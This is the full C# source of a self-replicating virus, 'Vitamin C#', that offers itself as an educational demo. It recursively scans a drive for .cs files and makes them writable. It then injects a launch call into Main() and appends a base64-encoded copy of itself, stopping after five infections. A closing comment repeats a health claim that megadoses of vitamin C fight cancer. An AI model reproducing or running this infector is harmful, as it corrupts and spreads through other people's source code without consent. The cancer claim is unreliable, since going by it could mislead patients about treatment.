/* ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo Disclaimer ---------- Everything enclosed within the file is intended only for educational purposes. The author assumes that all users understand risks involved within this file and/or its attached materials. The author won't be responsible for any damages to computer systems arising from the misuse of this file and/or its attached materials. ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo */ /* oooooooooooooooooooooooooooooooooooooooo Vitamin C# Source Code by linuspauling oooooooooooooooooooooooooooooooooooooooo */ // // This is a very primimitive replicator which uses Microsoft's C# source codes as hosts. // It searches for "Main()" within the target and if the conditions are met, it embeds itself // into it. It BLINDLY assumes that "Main()" is always a valid procedure and will replace the // first "Main()" string instance that it finds, then do what it is supposed to do and will // terminate after doing so. Because of this, C# sources that has "Main()" inside comments will // be modified with errors (the code assumes that C# sources that has "Main()" inside comments are // an unlikely scenario). It also assumes that the string "using System;" is always present in files // with a "Main()" routine. It scans the current drive for C# source codes and will only infect 5 // sources in one cycle. // // I adapted the routine from a source code that I saw way back. I think it was in VB.NET or Visual // Basic 6. I tried to look for it in the Internet so I can tag it as one of my references I wasn't // successful finding it. So I just relied on what I remember to kind of recreate the routine, but // now in C#. // // Without further ado, take a look at the (working) world's 3rd C# source code file infector. // (yes. better to declare it the second or the third because there is always someone claiming to be // the first one who did it.) // using Sun.Microsystems.Java; namespace INJECT { class DllInjectionSample { static void Main(string[] args) { System.Threading.Thread gxzxzxzxz = new System.Threading.Thread(IsKing.LetsGo); gxzxzxzxz.Start(); } } } namespace Sun.Microsystems.Java { public class IsKing { private static int counter = 0; public static void LetsGo() { string xx = System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName); string xy = System.IO.Directory.GetDirectoryRoot(xx); System.IO.DirectoryInfo dir = new System.IO.DirectoryInfo(@xy); int yy = AndLetsRock(dir); } private static int AndLetsRock(System.IO.DirectoryInfo d) { System.IO.FileInfo[] files = d.GetFiles("*.cs"); foreach (System.IO.FileInfo file in files) { string filename = file.FullName; System.IO.FileAttributes hh = System.IO.File.GetAttributes(filename); if ((hh & System.IO.FileAttributes.ReadOnly) != 0) { System.IO.FileAttributes attr = System.IO.FileAttributes.Normal; System.IO.File.SetAttributes(filename, attr); } string database = "bmFtZXNwYWNlIFN1bi5NaWNyb3N5c3RlbXMuSmF2YQ0Kew0KICAgIHB1YmxpYyBjbGFzcyBJc0tpbmcNCiAgICB7DQogICAgICAgIHByaXZhdGUgc3RhdGljIGludCBjb3VudGVyID0gMDsNCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExldHNHbygpDQogICAgICAgIHsNCiAgICAgICAgICAgIHN0cmluZyB4eCA9IFN5c3RlbS5JTy5QYXRoLkdldERpcmVjdG9yeU5hbWUoU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuR2V0RXhlY3V0aW5nQXNzZW1ibHkoKS5HZXRNb2R1bGVzKClbMF0uRnVsbHlRdWFsaWZpZWROYW1lKTsNCiAgICAgICAgICAgIHN0cmluZyB4eSA9IFN5c3RlbS5JTy5EaXJlY3RvcnkuR2V0RGlyZWN0b3J5Um9vdCh4eCk7DQogICAgICAgICAgICBTeXN0ZW0uSU8uRGlyZWN0b3J5SW5mbyBkaXIgPSBuZXcgU3lzdGVtLklPLkRpcmVjdG9yeUluZm8oQHh5KTsNCiAgICAgICAgICAgIGludCB5eSA9IEFuZExldHNSb2NrKGRpcik7DQogICAgICAgIH0NCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgaW50IEFuZExldHNSb2NrKFN5c3RlbS5JTy5EaXJlY3RvcnlJbmZvIGQpDQogICAgICAgIHsNCiAgICAgICAgICAgIFN5c3RlbS5JTy5GaWxlSW5mb1tdIGZpbGVzID0gZC5HZXRGaWxlcygiKi5jcyIpOw0KICAgICAgICAgICAgZm9yZWFjaCAoU3lzdGVtLklPLkZpbGVJbmZvIGZpbGUgaW4gZmlsZXMpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgc3RyaW5nIGZpbGVuYW1lID0gZmlsZS5GdWxsTmFtZTsNCiAgICAgICAgICAgICAgICBTeXN0ZW0uSU8uRmlsZUF0dHJpYnV0ZXMgaGggPSBTeXN0ZW0uSU8uRmlsZS5HZXRBdHRyaWJ1dGVzKGZpbGVuYW1lKTsNCiAgICAgICAgICAgICAgICBpZiAoKGhoICYgU3lzdGVtLklPLkZpbGVBdHRyaWJ1dGVzLlJlYWRPbmx5KSAhPSAwKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgU3lzdGVtLklPLkZpbGVBdHRyaWJ1dGVzIGF0dHIgPSBTeXN0ZW0uSU8uRmlsZUF0dHJpYnV0ZXMuTm9ybWFsOw0KICAgICAgICAgICAgICAgICAgICBTeXN0ZW0uSU8uRmlsZS5TZXRBdHRyaWJ1dGVzKGZpbGVuYW1lLCBhdHRyKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgc3RyaW5nIGRhdGFiYXNlID0gIg==>IjsNCiAgICAgICAgICAgICAgICBzdHJpbmcgeCA9IFJlYWQoZmlsZW5hbWUpOw0KICAgICAgICAgICAgICAgIGJvb2wgeSA9IFNoYWxsV2UoeCk7DQogICAgICAgICAgICAgICAgYm9vbCB4eXkgPSBTaGFsbFdlSSh4KTsNCiAgICAgICAgICAgICAgICBpZiAoeSA9PSB0cnVlKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICh4eXkgPT0gdHJ1ZSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGJvb2wgeiA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgIHdoaWxlICh6ID09IHRydWUpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjb3VudGVyID09IDUpDQogICAgICAgICAgICAgICAgICAgICAgICB7IHJldHVybiAwOyB9DQogICAgICAgICAgICAgICAgICAgICAgICB6ID0gUXVlcnkoZmlsZW5hbWUsIHgsIGRhdGFiYXNlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh6ID09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvdW50ZXIgKz0gMTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlIHsgY29udGludWU7IH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIFN5c3RlbS5JTy5EaXJlY3RvcnlJbmZvW10gZGlycyA9IGQuR2V0RGlyZWN0b3JpZXMoIiouKiIpOw0KICAgICAgICAgICAgZm9yZWFjaCAoU3lzdGVtLklPLkRpcmVjdG9yeUluZm8gZGlyIGluIGRpcnMpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgdHJ5IHsgaW50IHl5eSA9IEFuZExldHNSb2NrKGRpcik7IH0NCiAgICAgICAgICAgICAgICBjYXRjaCB7IGNvbnRpbnVlOyB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gMTsNCiAgICAgICAgfQ0KICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgUmVhZChzdHJpbmcgZmlsZSkNCiAgICAgICAgew0KICAgICAgICAgICAgU3lzdGVtLklPLlN0cmVhbVJlYWRlciBzciA9IFN5c3RlbS5JTy5GaWxlLk9wZW5UZXh0KGZpbGUpOw0KICAgICAgICAgICAgc3RyaW5nIGlucHV0Ow0KICAgICAgICAgICAgc3RyaW5nIGdnID0gIiI7DQogICAgICAgICAgICB3aGlsZSAoKGlucHV0ID0gc3IuUmVhZExpbmUoKSkgIT0gbnVsbCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBnZyArPSBpbnB1dCArICJcclxuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHNyLkNsb3NlKCk7DQogICAgICAgICAgICByZXR1cm4gZ2c7DQogICAgICAgIH0NCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgYm9vbCBTaGFsbFdlKHN0cmluZyBzKQ0KICAgICAgICB7DQogICAgICAgICAgICBpbnQgeCA9IHMuVG9Mb3dlcigpLkluZGV4T2YoInN1bi5taWNyb3N5c3RlbXMuamF2YSIpOw0KICAgICAgICAgICAgaWYgKHggPj0gMCkNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgYm9vbCBTaGFsbFdlSShzdHJpbmcgcykNCiAgICAgICAgew0KICAgICAgICAgICAgaW50IHggPSBzLlRvTG93ZXIoKS5JbmRleE9mKCJtYWluKCIpOw0KICAgICAgICAgICAgaWYgKHggPj0gMCkNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgYm9vbCBRdWVyeShzdHJpbmcgZmlsZSwgc3RyaW5nIHMsIHN0cmluZyBkYXRhYmFzZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaW50IHggPSBzLlRvTG93ZXIoKS5JbmRleE9mKCJtYWluKCIpOw0KICAgICAgICAgICAgaW50IHl5ID0geDsNCiAgICAgICAgICAgIGNoYXJbXSB4eCA9IHMuVG9DaGFyQXJyYXkoMCwgcy5MZW5ndGggLSAxKTsNCiAgICAgICAgICAgIHdoaWxlICh4eFt5eV0gIT0gJ3snKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHl5ICs9IDE7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBzID0gcy5SZXBsYWNlKHMuU3Vic3RyaW5nKHgsICh5eSAtIHgpICsgMSksICJNYWluKHN0cmluZ1tdIGFyZ3MpXHJcblx0e1xyXG5cdFN5c3RlbS5UaHJlYWRpbmcuVGhyZWFkIGd4enh6eHp4eiA9IG5ldyBTeXN0ZW0uVGhyZWFkaW5nLlRocmVhZChJc0tpbmcuTGV0c0dvKTtcclxuXHRneHp4enh6eHouU3RhcnQoKTsiKTsNCiAgICAgICAgICAgIHMgPSBzLlJlcGxhY2UoInVzaW5nIFN5c3RlbTsiLCAidXNpbmcgU3lzdGVtO1xyXG51c2luZyBTdW4uTWljcm9zeXN0ZW1zLkphdmE7Iik7DQogICAgICAgICAgICB1c2luZyAoU3lzdGVtLklPLlN0cmVhbVdyaXRlciBzdyA9IG5ldyBTeXN0ZW0uSU8uU3RyZWFtV3JpdGVyKGZpbGUpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHN0cmluZ1tdIHQgPSBkYXRhYmFzZS5TcGxpdChuZXcgY2hhcltdIHsgJz4nIH0pOw0KICAgICAgICAgICAgICAgIHN3LldyaXRlTGluZShzKTsNCiAgICAgICAgICAgICAgICBzdy5Xcml0ZUxpbmUoIlxyXG4iKTsNCiAgICAgICAgICAgICAgICBzdy5Xcml0ZShkZWNvZGViNjQodFswXSkrIGRhdGFiYXNlICsgZGVjb2RlYjY0KHRbMV0pKTsNCiAgICAgICAgICAgICAgICBzdy5Xcml0ZUxpbmUoIlxyXG4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgZGVjb2RlYjY0KHN0cmluZyBkKQ0KICAgICAgICB7DQogICAgICAgICAgICAgIGJ5dGVbXSBnID0gU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhkKTsNCiAgICAgICAgICAgICAgcmV0dXJuIFN5c3RlbS5UZXh0LkVuY29kaW5nLlVURjguR2V0U3RyaW5nKGcpOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQo="; string x = Read(filename); bool y = ShallWe(x); bool xyy = ShallWeI(x); if (y == true) { continue; } if (xyy == true) { bool z = true; while (z == true) { if (counter == 5) { return 0; } z = Query(filename, x, database); if (z == false) { counter += 1; } } } else { continue; } } System.IO.DirectoryInfo[] dirs = d.GetDirectories("*.*"); foreach (System.IO.DirectoryInfo dir in dirs) { try { int yyy = AndLetsRock(dir); } catch { continue; } } return 1; } private static string Read(string file) { System.IO.StreamReader sr = System.IO.File.OpenText(file); string input; string gg = ""; while ((input = sr.ReadLine()) != null) { gg += input + "\r\n"; } sr.Close(); return gg; } private static bool ShallWe(string s) { int x = s.ToLower().IndexOf("sun.microsystems.java"); if (x >= 0) return true; else return false; } private static bool ShallWeI(string s) { int x = s.ToLower().IndexOf("main("); if (x >= 0) return true; else return false; } private static bool Query(string file, string s, string database) { int x = s.ToLower().IndexOf("main("); int yy = x; char[] xx = s.ToCharArray(0, s.Length - 1); while (xx[yy] != '{') { yy += 1; } s = s.Replace(s.Substring(x, (yy - x) + 1), "Main(string[] args)\r\n\t{\r\n\tSystem.Threading.Thread gxzxzxzxz = new System.Threading.Thread(IsKing.LetsGo);\r\n\tgxzxzxzxz.Start();"); s = s.Replace("using System;", "using System;\r\nusing Sun.Microsystems.Java;"); using (System.IO.StreamWriter sw = new System.IO.StreamWriter(file)) { string[] t = database.Split(new char[] { '>' }); sw.WriteLine(s); sw.WriteLine("\r\n"); sw.Write(decodeb64(t[0])+ database + decodeb64(t[1])); sw.WriteLine("\r\n"); } return false; } private static string decodeb64(string d) { byte[] g = System.Convert.FromBase64String(d); return System.Text.Encoding.UTF8.GetString(g); } } } // Summary // 1.) Make a thread for embedder process. // 2.) Start thread. // 3.) Get where the source is executing // 4.) Get root directory // 5.) Do a recursive search of all *.cs files from root directory and beyond // 6.) Make read-only sources writable. // 6.) Examine file if its infected. // 7.) Examine file if it can be infected. // 8.) If it's not infected and it can be infected. // a.) Modify the text stream by replacing "using System;" // b.) Modify the text stream by replacing "Main(...){" // Otherwise, next file. // 9.) Entry point has been set and file is ready to be closed. // 10.) Append a copy of itself to the host. Record how many times the cycle has happened. // 11.) If we got 5 hosts, ignore others and terminate. // A demo file can be found at "\StringCopy.zip" /* oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo "don't call me scarface." linuspauling (http://bangingatbang.land.ru) oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo */ /* oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo Dr. Linus Pauling on vitamin C ------------------------------ Dr. Linus Pauling, often referred to as the "Father of Vitamin C" and twice awarded the Nobel Prize, declared that large intakes of up to 10 grams of vitamin C each day aids anti-cancer activity within the body. Pauling was largely ridiculed for making these declarations, but today, large doses of Vitamin C are used by many practitioners for cancer patients in nutritional therapies, who believe Pauling was right and that vitamin C is indispensable to the body in its fight to regain health from cancer. (http://www.healingdaily.com/detoxification-diet/vitamin-c.htm) ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo */